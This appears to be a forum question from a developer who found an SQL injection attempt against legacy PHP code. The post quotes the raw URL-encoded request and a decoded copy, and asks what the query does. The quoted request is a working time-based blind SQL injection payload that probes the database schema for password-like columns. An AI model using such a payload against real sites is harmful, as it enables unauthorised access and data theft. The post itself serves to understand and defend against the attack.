We recently had this sql injection attempt (rather successful tbh) on some of our beloved legacy code base.
/someFile.php?b=4430%20AND%20%28SELECT%209391%20FROM%20%28SELECT%28SLEEP%2832-%28IF%28ORD%28MID%28%28SELECT%20HEX%28IFNULL%28CAST%28COUNT%28DISTINCT%28table_schema%29%29%20AS%20NCHAR%29%2C0x20%29%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20column_name%20LIKE%200x257761636874776f6f726425%20AND%20table_schema%20%21%3D%200x696e666f726d6174696f6e5f736368656d61%20AND%20table_schema%20%21%3D%200x6d7973716c%20AND%20table_schema%20%21%3D%200x706572666f726d616e63655f736368656d61%20AND%20table_schema%20%21%3D%200x737973%29%2C1%2C1%29%29%3E1%2C0%2C32%29%29%29%29%29iOms%29
all fixed, blocked and reported but I'm still curious -
What is that query supposed to to?
Just block resources (as in DOS) or gather information?
SELECT 9391
FROM (SELECT(SLEEP(32-(IF(ORD(MID(
(SELECT HEX(IFNULL(CAST(COUNT(DISTINCT(table_schema)) AS NCHAR),0x20))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE 0x257761636874776f6f726425
AND table_schema != 0x696e666f726d6174696f6e5f736368656d61
AND table_schema != 0x6d7973716c
AND table_schema != 0x706572666f726d616e63655f736368656d61
AND table_schema != 0x737973),1, 1))>1, 0, 32)))))iOms
I don't get the HEX part of it...